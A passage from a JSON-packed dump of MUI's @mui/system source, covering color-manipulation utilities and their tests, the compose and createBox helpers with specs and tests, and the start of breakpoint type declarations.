}\n}\n\n/**\n * Blend a transparent overlay color with a background color, resulting in a single\n * RGB color.\n * @param {string} background - CSS color\n * @param {string} overlay - CSS color\n * @param {number} opacity - Opacity multiplier in the range 0 - 1\n * @param {number} [gamma=1.0] - Gamma correction factor. For gamma-correct blending, 2.2 is usual.\n */\nexport function blend(background, overlay, opacity, gamma = 1.0) {\n  const blendChannel = (b, o) =>\n    Math.round((b ** (1 / gamma) * (1 - opacity) + o ** (1 / gamma) * opacity) ** gamma);\n\n  const backgroundColor = decomposeColor(background);\n  const overlayColor = decomposeColor(overlay);\n\n  const rgb = [\n    blendChannel(backgroundColor.values[0], overlayColor.values[0]),\n    blendChannel(backgroundColor.values[1], overlayColor.values[1]),\n    blendChannel(backgroundColor.values[2], overlayColor.values[2]),\n  ];\n\n  return recomposeColor({\n    type: 'rgb',\n    values: rgb,\n  });\n}\n"
  },
  {
    "path": "packages/mui-system/src/colorManipulator/colorManipulator.spec.ts",
    "content": "import { expectType } from '@mui/types';\nimport { ColorFormat, ColorObject } from '@mui/system';\n\nimport {\n  hexToRgb,\n  rgbToHex,\n  hslToRgb,\n  decomposeColor,\n  colorChannel,\n  recomposeColor,\n  getContrastRatio,\n  getLuminance,\n  emphasize,\n  alpha,\n  lighten,\n  darken,\n} from '@mui/system/colorManipulator';\n\nexpectType<(color: string) => string, typeof hexToRgb>(hexToRgb);\n\nexpectType<(color: string) => string, typeof rgbToHex>(rgbToHex);\n\nexpectType<(color: string) => string, typeof hslToRgb>(hslToRgb);\n\nexpectType<(color: string) => ColorObject, typeof decomposeColor>(decomposeColor);\n\nexpectType<(color: string) => string, typeof colorChannel>(colorChannel);\n\nexpectType<(color: ColorObject) => string, typeof recomposeColor>(recomposeColor);\n\nexpectType<(foreground: string, background: string) => number, typeof getContrastRatio>(\n  getContrastRatio,\n);\n\nexpectType<(color: string) => number, typeof getLuminance>(getLuminance);\n\nexpectType<(color: string, coefficient?: number) => string, typeof emphasize>(emphasize);\n\nexpectType<(color: string, value: number) => string, typeof alpha>(alpha);\n\nexpectType<(color: string, coefficient: number) => string, typeof darken>(darken);\n\nexpectType<(color: string, coefficient: number) => string, typeof lighten>(lighten);\n\nrecomposeColor({\n  type: 'color',\n  colorSpace: 'display-p3',\n  values: [0.5, 0.3, 0.2],\n});\n\nconst color = decomposeColor('color(display-p3 0 1 0)');\n\ntype Color = 'color' extends typeof color.type ? true : false;\n\nexpectType<Color, true>(true);\nexpectType<ColorFormat, typeof color.type>(color.type);\n"
  },
  {
    "path": "packages/mui-system/src/colorManipulator/colorManipulator.test.js",
    "content": "import { expect } from 'chai';\nimport { blend } from '@mui/system';\n\nimport {\n  recomposeColor,\n  hexToRgb,\n  rgbToHex,\n  hslToRgb,\n  darken,\n  decomposeColor,\n  emphasize,\n  alpha,\n  getContrastRatio,\n  getLuminance,\n  lighten,\n  colorChannel,\n} from '@mui/system/colorManipulator';\n\ndescribe('utils/colorManipulator', () => {\n  describe('recomposeColor', () => {\n    it('converts a decomposed rgb color object to a string`', () => {\n      expect(\n        recomposeColor({\n          type: 'rgb',\n          values: [255, 255, 255],\n        }),\n      ).to.equal('rgb(255, 255, 255)');\n    });\n\n    it('converts a decomposed rgba color object to a string`', () => {\n      expect(\n        recomposeColor({\n          type: 'rgba',\n          values: [255, 255, 255, 0.5],\n        }),\n      ).to.equal('rgba(255, 255, 255, 0.5)');\n    });\n\n    it('converts a decomposed CSS4 color object to a string`', () => {\n      expect(\n        recomposeColor({\n          type: 'color',\n          colorSpace: 'display-p3',\n          values: [0.5, 0.3, 0.2],\n        }),\n      ).to.equal('color(display-p3 0.5 0.3 0.2)');\n    });\n\n    it('converts a decomposed hsl color object to a string`', () => {\n      expect(\n        recomposeColor({\n          type: 'hsl',\n          values: [100, 50, 25],\n        }),\n      ).to.equal('hsl(100, 50%, 25%)');\n    });\n\n    it('converts a decomposed hsla color object to a string`', () => {\n      expect(\n        recomposeColor({\n          type: 'hsla',\n          values: [100, 50, 25, 0.5],\n        }),\n      ).to.equal('hsla(100, 50%, 25%, 0.5)');\n    });\n  });\n\n  describe('hexToRgb', () => {\n    it('converts a short hex color to an rgb color`', () => {\n      expect(hexToRgb('#9f3')).to.equal('rgb(153, 255, 51)');\n    });\n\n    it('converts a long hex color to an rgb color`', () => {\n      expect(hexToRgb('#a94fd3')).to.equal('rgb(169, 79, 211)');\n    });\n\n    it('converts a long alpha hex color to an argb color`', () => {\n      expect(hexToRgb('#111111f8')).to.equal('rgba(17, 17, 17, 0.973)');\n    });\n  });\n\n  describe('rgbToHex', () => {\n    it('converts an rgb color to a hex color`', () => {\n      expect(rgbToHex('rgb(169, 79, 211)')).to.equal('#a94fd3');\n    });\n\n    it('converts an rgba color to a hex color`', () => {\n      expect(rgbToHex('rgba(169, 79, 211, 1)')).to.equal('#a94fd3ff');\n    });\n\n    it('idempotent', () => {\n      expect(rgbToHex('#A94FD3')).to.equal('#A94FD3');\n    });\n  });\n\n  describe('hslToRgb', () => {\n    it('converts an hsl color to an rgb color`', () => {\n      expect(hslToRgb('hsl(281, 60%, 57%)')).to.equal('rgb(169, 80, 211)');\n    });\n\n    it('converts an hsla color to an rgba color`', () => {\n      expect(hslToRgb('hsla(281, 60%, 57%, 0.5)')).to.equal('rgba(169, 80, 211, 0.5)');\n    });\n\n    it('allow to convert values only', () => {\n      expect(hslToRgb(decomposeColor('hsl(281, 60%, 57%)'))).to.equal('rgb(169, 80, 211)');\n    });\n  });\n\n  describe('decomposeColor', () => {\n    it('converts an rgb color string to an object with `type` and `value` keys', () => {\n      const { type, values } = decomposeColor('rgb(255, 255, 255)');\n      expect(type).to.equal('rgb');\n      expect(values).to.deep.equal([255, 255, 255]);\n    });\n\n    it('converts an rgba color string to an object with `type` and `value` keys', () => {\n      const { type, values } = decomposeColor('rgba(255, 255, 255, 0.5)');\n      expect(type).to.equal('rgba');\n      expect(values).to.deep.equal([255, 255, 255, 0.5]);\n    });\n\n    it('converts an hsl color string to an object with `type` and `value` keys', () => {\n      const { type, values } = decomposeColor('hsl(100, 50%, 25%)');\n      expect(type).to.equal('hsl');\n      expect(values).to.deep.equal([100, 50, 25]);\n    });\n\n    it('converts an hsla color string to an object with `type` and `value` keys', () => {\n      const { type, values } = decomposeColor('hsla(100, 50%, 25%, 0.5)');\n      expect(type).to.equal('hsla');\n      expect(values).to.deep.equal([100, 50, 25, 0.5]);\n    });\n\n    it('converts CSS4 color with color space display-3', () => {\n      const { type, values, colorSpace } = decomposeColor('color(display-p3 0 1 0)');\n      expect(type).to.equal('color');\n      expect(colorSpace).to.equal('display-p3');\n      expect(values).to.deep.equal([0, 1, 0]);\n    });\n\n    it('converts an alpha CSS4 color with color space display-3', () => {\n      const { type, values, colorSpace } = decomposeColor('color(display-p3 0 1 0 /0.4)');\n      expect(type).to.equal('color');\n      expect(colorSpace).to.equal('display-p3');\n      expect(values).to.deep.equal([0, 1, 0, 0.4]);\n    });\n\n    it('should throw error with inexistent color color space', () => {\n      const decomposeWithError = () => decomposeColor('color(foo 0 1 0)');\n      expect(decomposeWithError).to.throw();\n    });\n\n    it('idempotent', () => {\n      const output1 = decomposeColor('hsla(100, 50%, 25%, 0.5)');\n      const output2 = decomposeColor(output1);\n      expect(output1).to.deep.equal(output2);\n    });\n\n    it('converts rgba hex', () => {\n      const decomposed = decomposeColor('#111111f8');\n      expect(decomposed).to.deep.equal({\n        type: 'rgba',\n        colorSpace: undefined,\n        values: [17, 17, 17, 0.973],\n      });\n    });\n  });\n\n  describe('getContrastRatio', () => {\n    it('returns a ratio for black : white', () => {\n      expect(getContrastRatio('#000', '#FFF')).to.equal(21);\n    });\n\n    it('returns a ratio for black : black', () => {\n      expect(getContrastRatio('#000', '#000')).to.equal(1);\n    });\n\n    it('returns a ratio for white : white', () => {\n      expect(getContrastRatio('#FFF', '#FFF')).to.equal(1);\n    });\n\n    it('returns a ratio for dark-grey : light-grey', () => {\n      expect(getContrastRatio('#707070', '#E5E5E5')).to.be.approximately(3.93, 0.01);\n    });\n\n    it('returns a ratio for black : light-grey', () => {\n      expect(getContrastRatio('#000', '#888')).to.be.approximately(5.92, 0.01);\n    });\n  });\n\n  describe('getLuminance', () => {\n    it('returns a valid luminance for rgb black', () => {\n      expect(getLuminance('rgba(0, 0, 0)')).to.equal(0);\n      expect(getLuminance('rgb(0, 0, 0)')).to.equal(0);\n      expect(getLuminance('color(display-p3 0 0 0)')).to.equal(0);\n    });\n\n    it('returns a valid luminance for rgb white', () => {\n      expect(getLuminance('rgba(255, 255, 255)')).to.equal(1);\n      expect(getLuminance('rgb(255, 255, 255)')).to.equal(1);\n    });\n\n    it('returns a valid luminance for hsla black', () => {\n      expect(getLuminance('hsla(0, 100%, 0%, 1)')).to.equal(0);\n    });\n\n    it('returns a valid luminance for hsla white', () => {\n      expect(getLuminance('hsla(0, 100%, 100%, 1)')).to.equal(1);\n    });\n\n    it('returns a valid luminance for rgb mid-grey', () => {\n      expect(getLuminance('rgba(127, 127, 127)')).to.equal(0.212);\n      expect(getLuminance('rgb(127, 127, 127)')).to.equal(0.212);\n    });\n\n    it('returns a valid luminance for an rgb color', () => {\n      expect(getLuminance('rgb(255, 127, 0)')).to.equal(0.364);\n    });\n\n    it('returns a valid luminance from an hsl color', () => {\n      expect(getLuminance('hsl(100, 100%, 50%)')).to.equal(0.735);\n    });\n\n    it('returns a valid luminance from an hsla color', () => {\n      expect(getLuminance('hsla(100, 100%, 50%, 1)')).to.equal(0.735);\n    });\n\n    it('returns an equal luminance for the same color in different formats', () => {\n      const hsl = 'hsl(100, 100%, 50%)';\n      const rgb = 'rgb(85, 255, 0)';\n      expect(getLuminance(hsl)).to.equal(getLuminance(rgb));\n    });\n\n    it('returns a valid luminance from an CSS4 color', () => {\n      expect(getLuminance('color(display-p3 1 1 0.1)')).to.equal(0.929);\n    });\n\n    it('throw on invalid colors', () => {\n      expect(() => {\n        getLuminance('black');\n      }).toThrowMinified('MUI: Unsupported `black` color');\n    });\n  });\n\n  describe('emphasize', () => {\n    it('lightens a dark rgb color with the coefficient provided', () => {\n      expect(emphasize('rgb(1, 2, 3)', 0.4)).to.equal(lighten('rgb(1, 2, 3)', 0.4));\n    });\n\n    it('darkens a light rgb color with the coefficient provided', () => {\n      expect(emphasize('rgb(250, 240, 230)', 0.3)).to.equal(darken('rgb(250, 240, 230)', 0.3));\n    });\n\n    it('lightens a dark rgb color with the coefficient 0.15 by default', () => {\n      expect(emphasize('rgb(1, 2, 3)')).to.equal(lighten('rgb(1, 2, 3)', 0.15));\n    });\n\n    it('darkens a light rgb color with the coefficient 0.15 by default', () => {\n      expect(emphasize('rgb(250, 240, 230)')).to.equal(darken('rgb(250, 240, 230)', 0.15));\n    });\n\n    it('lightens a dark CSS4 color with the coefficient 0.15 by default', () => {\n      expect(emphasize('color(display-p3 0.1 0.1 0.1)')).to.equal(\n        lighten('color(display-p3 0.1 0.1 0.1)', 0.15),\n      );\n    });\n\n    it('darkens a light CSS4 color with the coefficient 0.15 by default', () => {\n      expect(emphasize('color(display-p3 1 1 0.1)')).to.equal(\n        darken('color(display-p3 1 1 0.1)', 0.15),\n      );\n    });\n  });\n\n  describe('alpha', () => {\n    it('converts an rgb color to an rgba color with the value provided', () => {\n      expect(alpha('rgb(1, 2, 3)', 0.4)).to.equal('rgba(1, 2, 3, 0.4)');\n    });\n\n    it('updates an CSS4 color with the alpha value provided', () => {\n      expect(alpha('color(display-p3 1 2 3)', 0.4)).to.equal('color(display-p3 1 2 3 /0.4)');\n    });\n\n    it('updates an rgba color with the alpha value provided', () => {\n      expect(alpha('rgba(255, 0, 0, 0.2)', 0.5)).to.equal('rgba(255, 0, 0, 0.5)');\n    });\n\n    it('converts an hsl color to an hsla color with the value provided', () => {\n      expect(alpha('hsl(0, 100%, 50%)', 0.1)).to.equal('hsla(0, 100%, 50%, 0.1)');\n    });\n\n    it('updates an hsla color with the alpha value provided', () => {\n      expect(alpha('hsla(0, 100%, 50%, 0.2)', 0.5)).to.equal('hsla(0, 100%, 50%, 0.5)');\n    });\n\n    it('throw on invalid colors', () => {\n      expect(() => {\n        alpha('white', 0.4);\n      }).toThrowMinified('MUI: Unsupported `white` color');\n    });\n\n    it('warns if the color contains space at the end', () => {\n      let result;\n      expect(() => {\n        result = alpha('#aa0099 ', 0.5);\n      }).toErrorDev([\n        'MUI: The color: \"aa0099 \" is invalid. Make sure the color input doesn\\'t contain leading/trailing space.',\n      ]);\n      expect(result).to.equal('rgba(170, 0, 153, 0.5)');\n    });\n  });\n\n  describe('darken', () => {\n    it(\"doesn't modify rgb black\", () => {\n      expect(darken('rgb(0, 0, 0)', 0.1)).to.equal('rgb(0, 0, 0)');\n    });\n\n    it(\"doesn't overshoot if an above-range coefficient is supplied\", () => {\n      expect(() => {\n        expect(darken('rgb(0, 127, 255)', 1.5)).to.equal('rgb(0, 0, 0)');\n      }).toErrorDev('MUI: The value provided 1.5 is out of range [0, 1].');\n    });\n\n    it(\"doesn't overshoot if a below-range coefficient is supplied\", () => {\n      expect(() => {\n        expect(darken('rgb(0, 127, 255)', -0.1)).to.equal('rgb(0, 127, 255)');\n      }).toErrorDev('MUI: The value provided -0.1 is out of range [0, 1].');\n    });\n\n    it('darkens rgb white to black when coefficient is 1', () => {\n      expect(darken('rgb(255, 255, 255)', 1)).to.equal('rgb(0, 0, 0)');\n    });\n\n    it('retains the alpha value in an rgba color', () => {\n      expect(darken('rgb(0, 0, 0, 0.5)', 0.1)).to.equal('rgb(0, 0, 0, 0.5)');\n    });\n\n    it('darkens rgb white by 10% when coefficient is 0.1', () => {\n      expect(darken('rgb(255, 255, 255)', 0.1)).to.equal('rgb(229, 229, 229)');\n    });\n\n    it('darkens rgb red by 50% when coefficient is 0.5', () => {\n      expect(darken('rgb(255, 0, 0)', 0.5)).to.equal('rgb(127, 0, 0)');\n    });\n\n    it('darkens rgb grey by 50% when coefficient is 0.5', () => {\n      expect(darken('rgb(127, 127, 127)', 0.5)).to.equal('rgb(63, 63, 63)');\n    });\n\n    it(\"doesn't modify rgb colors when coefficient is 0\", () => {\n      expect(darken('rgb(255, 255, 255)', 0)).to.equal('rgb(255, 255, 255)');\n    });\n\n    it('darkens hsl red by 50% when coefficient is 0.5', () => {\n      expect(darken('hsl(0, 100%, 50%)', 0.5)).to.equal('hsl(0, 100%, 25%)');\n    });\n\n    it(\"doesn't modify hsl colors when coefficient is 0\", () => {\n      expect(darken('hsl(0, 100%, 50%)', 0)).to.equal('hsl(0, 100%, 50%)');\n    });\n\n    it(\"doesn't modify hsl colors when l is 0%\", () => {\n      expect(darken('hsl(0, 50%, 0%)', 0.5)).to.equal('hsl(0, 50%, 0%)');\n    });\n\n    it('darkens CSS4 color red by 50% when coefficient is 0.5', () => {\n      expect(darken('color(display-p3 1 0 0)', 0.5)).to.equal('color(display-p3 0.5 0 0)');\n    });\n\n    it(\"doesn't modify CSS4 color when coefficient is 0\", () => {\n      expect(darken('color(display-p3 1 0 0)', 0)).to.equal('color(display-p3 1 0 0)');\n    });\n  });\n\n  describe('lighten', () => {\n    it(\"doesn't modify rgb white\", () => {\n      expect(lighten('rgb(255, 255, 255)', 0.1)).to.equal('rgb(255, 255, 255)');\n    });\n\n    it(\"doesn't overshoot if an above-range coefficient is supplied\", () => {\n      expect(() => {\n        expect(lighten('rgb(0, 127, 255)', 1.5)).to.equal('rgb(255, 255, 255)');\n      }).toErrorDev('MUI: The value provided 1.5 is out of range [0, 1].');\n    });\n\n    it(\"doesn't overshoot if a below-range coefficient is supplied\", () => {\n      expect(() => {\n        expect(lighten('rgb(0, 127, 255)', -0.1)).to.equal('rgb(0, 127, 255)');\n      }).toErrorDev('MUI: The value provided -0.1 is out of range [0, 1].');\n    });\n\n    it('lightens rgb black to white when coefficient is 1', () => {\n      expect(lighten('rgb(0, 0, 0)', 1)).to.equal('rgb(255, 255, 255)');\n    });\n\n    it('retains the alpha value in an rgba color', () => {\n      expect(lighten('rgb(255, 255, 255, 0.5)', 0.1)).to.equal('rgb(255, 255, 255, 0.5)');\n    });\n\n    it('lightens rgb black by 10% when coefficient is 0.1', () => {\n      expect(lighten('rgb(0, 0, 0)', 0.1)).to.equal('rgb(25, 25, 25)');\n    });\n\n    it('lightens rgb red by 50% when coefficient is 0.5', () => {\n      expect(lighten('rgb(255, 0, 0)', 0.5)).to.equal('rgb(255, 127, 127)');\n    });\n\n    it('lightens rgb grey by 50% when coefficient is 0.5', () => {\n      expect(lighten('rgb(127, 127, 127)', 0.5)).to.equal('rgb(191, 191, 191)');\n    });\n\n    it(\"doesn't modify rgb colors when coefficient is 0\", () => {\n      expect(lighten('rgb(127, 127, 127)', 0)).to.equal('rgb(127, 127, 127)');\n    });\n\n    it('lightens hsl red by 50% when coefficient is 0.5', () => {\n      expect(lighten('hsl(0, 100%, 50%)', 0.5)).to.equal('hsl(0, 100%, 75%)');\n    });\n\n    it(\"doesn't modify hsl colors when coefficient is 0\", () => {\n      expect(lighten('hsl(0, 100%, 50%)', 0)).to.equal('hsl(0, 100%, 50%)');\n    });\n\n    it(\"doesn't modify hsl colors when `l` is 100%\", () => {\n      expect(lighten('hsl(0, 50%, 100%)', 0.5)).to.equal('hsl(0, 50%, 100%)');\n    });\n\n    it('lightens CSS4 color red by 50% when coefficient is 0.5', () => {\n      expect(lighten('color(display-p3 1 0 0)', 0.5)).to.equal('color(display-p3 1 0.5 0.5)');\n    });\n\n    it(\"doesn't modify CSS4 color when coefficient is 0\", () => {\n      expect(lighten('color(display-p3 1 0 0)', 0)).to.equal('color(display-p3 1 0 0)');\n    });\n  });\n\n  describe('colorChannel', () => {\n    it('converts a short hex color to a color channel`', () => {\n      expect(colorChannel('#9f3')).to.equal('153 255 51');\n    });\n\n    it('converts a long hex color to a colorChannel`', () => {\n      expect(colorChannel('#a94fd3')).to.equal('169 79 211');\n    });\n\n    it('converts a long alpha hex color to a color channel`', () => {\n      expect(colorChannel('#111111f8')).to.equal('17 17 17');\n    });\n\n    it('converts rgb to a color channel`', () => {\n      expect(colorChannel('rgb(169, 79, 211)')).to.equal('169 79 211');\n    });\n\n    it('converts rgba to a color channel`', () => {\n      expect(colorChannel('rgba(255, 11, 13, 0.5)')).to.equal('255 11 13');\n    });\n\n    it('converts hsl to a color channel`', () => {\n      expect(colorChannel('hsl(170, 45%, 50%)')).to.equal('170 45% 50%');\n    });\n\n    it('converts hsla to a color channel`', () => {\n      expect(colorChannel('hsla(235, 100%, 50%, .5)')).to.equal('235 100% 50%');\n    });\n  });\n\n  describe('blend', () => {\n    it('works', () => {\n      expect(blend('rgb(90, 90, 90)', 'rgb(10, 100, 255)', 0.5)).to.equal('rgb(50, 95, 173)');\n    });\n\n    it('works with a gamma correction factor', () => {\n      expect(blend('rgb(90, 90, 90)', 'rgb(10, 100, 255)', 0.5, 2.2)).to.equal('rgb(39, 95, 161)');\n    });\n\n    it('selects only the background color with an opacity of 0.0', () => {\n      expect(blend('rgb(90, 90, 90)', 'rgb(10, 100, 255)', 0.0)).to.equal('rgb(90, 90, 90)');\n    });\n\n    it('selects only the overlay color with an opacity of 1.0', () => {\n      expect(blend('rgb(90, 90, 90)', 'rgb(10, 100, 255)', 1.0)).to.equal('rgb(10, 100, 255)');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/colorManipulator/index.ts",
    "content": "export * from './colorManipulator';\n"
  },
  {
    "path": "packages/mui-system/src/compose/compose.d.ts",
    "content": "import { StyleFunction } from '../style';\n\n/**\n * given a list of StyleFunction return the intersection of the props each individual\n * StyleFunction requires.\n *\n * If `firstFn` requires { color: string } and `secondFn` requires { spacing: number }\n * their composed function requires { color: string, spacing: number }\n */\ntype ComposedArg<T> = T extends Array<(arg: infer P) => any> ? P : never;\ntype ComposedOwnerState<T> = ComposedArg<T>;\n\nexport type ComposedStyleFunction<T extends Array<StyleFunction<any>>> = StyleFunction<\n  ComposedOwnerState<T>\n> & { filterProps: string[] };\n\nexport default function compose<T extends Array<StyleFunction<any>>>(\n  ...args: T\n): ComposedStyleFunction<T>;\n"
  },
  {
    "path": "packages/mui-system/src/compose/compose.js",
    "content": "import fastDeepAssign from '@mui/utils/fastDeepAssign';\n\nfunction compose(...styles) {\n  const handlers = styles.reduce((acc, style) => {\n    style.filterProps.forEach((prop) => {\n      acc[prop] = style;\n    });\n\n    return acc;\n  }, {});\n\n  // eslint-disable-next-line react/function-component-definition\n  const fn = (props) => {\n    const result = {};\n    for (const prop in props) {\n      if (handlers[prop]) {\n        fastDeepAssign(result, handlers[prop](props));\n      }\n    }\n    return result;\n  };\n\n  fn.propTypes =\n    process.env.NODE_ENV !== 'production'\n      ? styles.reduce((acc, style) => Object.assign(acc, style.propTypes), {})\n      : {};\n\n  fn.filterProps = styles.reduce((acc, style) => acc.concat(style.filterProps), []);\n\n  return fn;\n}\n\nexport default compose;\n"
  },
  {
    "path": "packages/mui-system/src/compose/compose.test.js",
    "content": "import { expect } from 'chai';\nimport compose from './compose';\nimport style from '../style';\n\nconst textColor = style({\n  prop: 'color',\n  themeKey: 'palette',\n});\n\nconst bgcolor = style({\n  prop: 'bgcolor',\n  cssProperty: 'backgroundColor',\n  themeKey: 'palette',\n});\n\ndescribe('compose', () => {\n  it('should compose', () => {\n    const palette = compose(textColor, bgcolor);\n\n    expect(palette.filterProps.length).to.equal(2);\n    expect(\n      palette({\n        color: 'red',\n        bgcolor: 'gree',\n      }),\n    ).to.deep.equal({\n      backgroundColor: 'gree',\n      color: 'red',\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/compose/index.ts",
    "content": "export { default, type ComposedStyleFunction } from './compose';\n"
  },
  {
    "path": "packages/mui-system/src/createBox/createBox.d.ts",
    "content": "import { OverridableComponent } from '@mui/types';\nimport { BoxTypeMap } from '../Box';\nimport { Theme as SystemTheme } from '../createTheme';\n\nexport default function createBox<\n  T extends object = SystemTheme,\n  AdditionalProps extends Record<string, unknown> = {},\n>(options?: {\n  themeId?: string | undefined;\n  defaultTheme: T;\n  defaultClassName?: string | undefined;\n  generateClassName?: ((componentName: string) => string) | undefined;\n}): OverridableComponent<BoxTypeMap<AdditionalProps, 'div', T>>;\n"
  },
  {
    "path": "packages/mui-system/src/createBox/createBox.js",
    "content": "'use client';\nimport * as React from 'react';\nimport clsx from 'clsx';\nimport styled from '@mui/styled-engine';\nimport styleFunctionSx from '../styleFunctionSx';\nimport useTheme from '../useTheme';\n\nexport default function createBox(options = {}) {\n  const { themeId, defaultTheme, defaultClassName = 'MuiBox-root', generateClassName } = options;\n  const BoxRoot = styled('div', {\n    shouldForwardProp: (prop) => prop !== 'theme' && prop !== 'sx' && prop !== 'as',\n  })(styleFunctionSx);\n\n  const Box = React.forwardRef(function Box(inProps, ref) {\n    const theme = useTheme(defaultTheme);\n    const { className, component = 'div', ...other } = inProps;\n\n    return (\n      <BoxRoot\n        as={component}\n        ref={ref}\n        className={clsx(\n          className,\n          generateClassName ? generateClassName(defaultClassName) : defaultClassName,\n        )}\n        theme={themeId ? theme[themeId] || theme : theme}\n        {...other}\n      />\n    );\n  });\n\n  return Box;\n}\n"
  },
  {
    "path": "packages/mui-system/src/createBox/createBox.spec.tsx",
    "content": "import { createBox } from '@mui/system';\n\nconst Box = createBox();\n\ninterface TestProps {\n  test?: string;\n}\n\nfunction Test(props: TestProps) {\n  const { test, ...other } = props;\n  return <span {...other}>{test}</span>;\n}\n\nfunction ResponsiveTest() {\n  <Box sx={{ p: [2, 3, 4] }} />;\n  <Box sx={{ p: { xs: 2, sm: 3, md: 4 } }} />;\n  <Box sx={{ fontSize: [12, 18, 24] }}>Array API</Box>;\n  <Box\n    sx={{\n      fontSize: {\n        xs: 12,\n        sm: 18,\n        md: 24,\n      },\n    }}\n  >\n    Object API\n  </Box>;\n}\n\nfunction GapTest() {\n  <Box\n    sx={{\n      width: '100%',\n      display: 'flex',\n      alignItems: 'center',\n      flex: '1 0',\n      gap: '16px',\n    }}\n  >\n    Gap\n  </Box>;\n}\n\nfunction ComponentPropTest() {\n  <Box component=\"img\" src=\"https://mui.com/\" alt=\"Material UI\" />;\n  <Box component={Test} test=\"Test string\" />;\n}\n\nfunction ThemeCallbackTest() {\n  <Box sx={{ background: (theme) => theme.palette.primary.main }} />;\n  <Box sx={{ '&:hover': (theme) => ({ background: theme.palette.primary.main }) }} />;\n  <Box sx={{ '& .some-class': (theme) => ({ background: theme.palette.primary.main }) }} />;\n  <Box sx={{ maxWidth: (theme) => theme.breakpoints.values.sm }} />;\n}\n"
  },
  {
    "path": "packages/mui-system/src/createBox/createBox.test.js",
    "content": "import { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport { createBox, ThemeProvider } from '@mui/system';\n\ndescribe('createBox', () => {\n  const { render } = createRenderer();\n\n  it('should work', () => {\n    const Box = createBox();\n\n    const { container } = render(<Box />);\n    expect(container.firstChild).to.have.class('MuiBox-root');\n  });\n\n  it('should use defaultTheme if provided', () => {\n    const Box = createBox({ defaultTheme: { palette: { primary: { main: 'rgb(255, 0, 0)' } } } });\n\n    const { container } = render(<Box sx={{ color: 'primary.main' }}>Content</Box>);\n    expect(container.firstChild).toHaveComputedStyle({ color: 'rgb(255, 0, 0)' });\n  });\n\n  it('should use theme from Context if provided', () => {\n    const Box = createBox({ defaultTheme: { palette: { primary: { main: 'rgb(255, 0, 0)' } } } });\n\n    const { container } = render(\n      <ThemeProvider theme={{ palette: { primary: { main: 'rgb(0, 255, 0)' } } }}>\n        <Box sx={{ color: 'primary.main' }}>Content</Box>\n      </ThemeProvider>,\n    );\n    expect(container.firstChild).toHaveComputedStyle({ color: 'rgb(0, 255, 0)' });\n  });\n\n  it('able to customize default className', () => {\n    const Box = createBox({ defaultClassName: 'FooBarBox' });\n\n    const { container } = render(<Box />);\n    expect(container.firstChild).to.have.class('FooBarBox');\n  });\n\n  it('use generateClassName if provided', () => {\n    const Box = createBox({ generateClassName: () => 'CustomBox-root' });\n\n    const { container } = render(<Box />);\n    expect(container.firstChild).to.have.class('CustomBox-root');\n  });\n\n  it('generateClassName should receive defaultClassName if provided', () => {\n    const Box = createBox({\n      defaultClassName: 'FooBarBox',\n      generateClassName: (name) => name.replace('FooBar', ''),\n    });\n\n    const { container } = render(<Box />);\n    expect(container.firstChild).to.have.class('Box');\n  });\n\n  it('should accept sx prop', () => {\n    const Box = createBox();\n    const { container } = render(<Box sx={{ color: 'rgb(255, 0, 0)' }}>Content</Box>);\n    expect(container.firstChild).toHaveComputedStyle({ color: 'rgb(255, 0, 0)' });\n  });\n\n  it('should call styleFunctionSx once', () => {\n    const Box = createBox();\n    const spySx = spy();\n    render(<Box sx={spySx}>Content</Box>);\n    expect(spySx.callCount).to.equal(2); // React 18 renders twice in strict mode.\n  });\n\n  it('should still call styleFunctionSx once', () => {\n    const Box = createBox();\n    const spySx = spy();\n    render(\n      <Box component={Box} sx={spySx}>\n        Content\n      </Box>,\n    );\n    expect(spySx.callCount).to.equal(2); // React 18 renders twice in strict mode.\n  });\n\n  it('overridable via `component` prop', () => {\n    const Box = createBox();\n\n    const { container } = render(<Box component=\"span\" />);\n    expect(container.firstChild).to.have.tagName('span');\n  });\n\n  it('should not have `as` and `theme` attribute spread to DOM', () => {\n    const Box = createBox();\n\n    const { container } = render(<Box component=\"span\" />);\n    expect(container.firstChild).not.to.have.attribute('as');\n    expect(container.firstChild).not.to.have.attribute('theme');\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/createBox/index.ts",
    "content": "export { default } from './createBox';\n"
  },
  {
    "path": "packages/mui-system/src/createBreakpoints/createBreakpoints.d.ts",
    "content": "import { OverridableStringUnion } from '@mui/types';\n\nexport interface BreakpointOverrides {}\n\nexport type Breakpoint = OverridableStringUnion<\n  'xs' | 'sm' | 'md' | 'lg' | 'xl',\n  BreakpointOverrides\n>;\nexport const keys: Breakpoint[];\n\n// Keep in sync with docs/src/pages/customization/breakpoints/breakpoints.md\n// #host-reference\nexport interface Breakpoints {\n  keys: Breakpoint[];\n  /**\n   * Each breakpoint (a key) matches with a fixed screen width (a value).\n   * @default {\n   *    // extra-small\n   *    xs: 0,\n   *    // small\n   *    sm: 600,\n   *    // medium\n   *    md: 900,\n   *    // large\n   *    lg: 1200,\n   *    // extra-large\n   *    xl: 1536,\n   * }\n   */\n  values: { [key in Breakpoint]: number };\n  /**\n   * @param key - A breakpoint key (`xs`, `sm`, etc.) or a screen width number in px.\n   * @returns A media query string ready to be used with most styling solutions, which matches screen widths greater than the screen size given by the breakpoint key (inclusive).\n   * @see [API documentation](https://next.mui.com/material-ui/customization/breakpoints/#theme-breakpoints-up-key-media-query)\n   */\n  up: (key: Breakpoint | number) => string;\n  /**\n   * @param key - A breakpoint key (`xs`, `sm`, etc.) or a screen width number in px.\n   * @returns A media query string ready to be used with most styling solutions, which matches screen widths less than the screen size given by the breakpoint key (exclusive).\n   * @see [API documentation](https://next.mui.com/material-ui/customization/breakpoints/#theme-breakpoints-down-key-media-query)\n   */\n  down: (key: Breakpoint | number) => string;\n  /**\n   * @param start - A breakpoint key (`xs`, `sm`, etc.) or a screen width number in px.\n   * @param end - A breakpoint key (`xs`, `sm`, etc.) or a screen width number in px.\n   * @returns A media query string ready to be used with most styling solutions, which matches screen widths greater than\n   *          the screen size given by the breakpoint key in the first argument (inclusive) and less than the screen size given by the breakpoint key in the second argument (exclusive).\n   * @see [API documentation](https://next.mui.com/material-ui/customization/breakpoints/#theme-breakpoints-between-start-end-media-query)\n   */\n  between: (start: Breakpoint | number, end: Breakpoint | number) => string;\n  /**\n   * @param key - A breakpoint key (`xs`, `sm`, etc.) or a screen width number in px.\n   * @returns A media query string ready to be used with most styling solutions, which matches screen widths starting 